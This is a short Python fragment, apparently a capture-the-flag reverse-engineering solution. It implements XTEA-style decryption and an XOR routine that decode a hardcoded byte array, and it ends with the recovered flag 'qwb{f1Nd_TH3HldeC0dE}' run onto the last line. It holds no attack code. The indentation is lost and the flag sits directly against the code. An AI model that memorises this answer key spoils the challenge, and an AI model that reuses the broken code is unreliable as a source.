for i in range(rounds):
v1 -= ((((v0 << 4) % 0x100000000) ^ (v0 >> 5)) + v0) ^ (summ + key[(summ >> 11) & 3])
v1 %= 0x100000000
summ -= delta;
v0 -= ((((v1 << 4) % 0x100000000) ^ (v1 >> 5)) + v1) ^ (summ + key[summ & 3])
v0 %= 0x100000000
return p32(v0) + p32(v1)
def xor(s):
ret = ''
for i in range(len(s)):
ret += chr(ord(s[i])^i)
return ret
def a():
s0 = [0x52, 0xB8, 0x13, 0x7F, 0x35, 0x8C, 0xF2, 0x1B, 0xF4, 0x63, 0x86, 0xD2, 0x73, 0x4F, 0x1E, 0x31]
s = ''
for i in range(len(s0)):
s += chr(s0[i])
print(s)
for i in range(3):
b = xor(s)
s = decrypt(b[0:8]) + decrypt(b[8:16])
print(s, len(s))
print(s, len(s))
a()qwb{f1Nd_TH3HldeC0dE}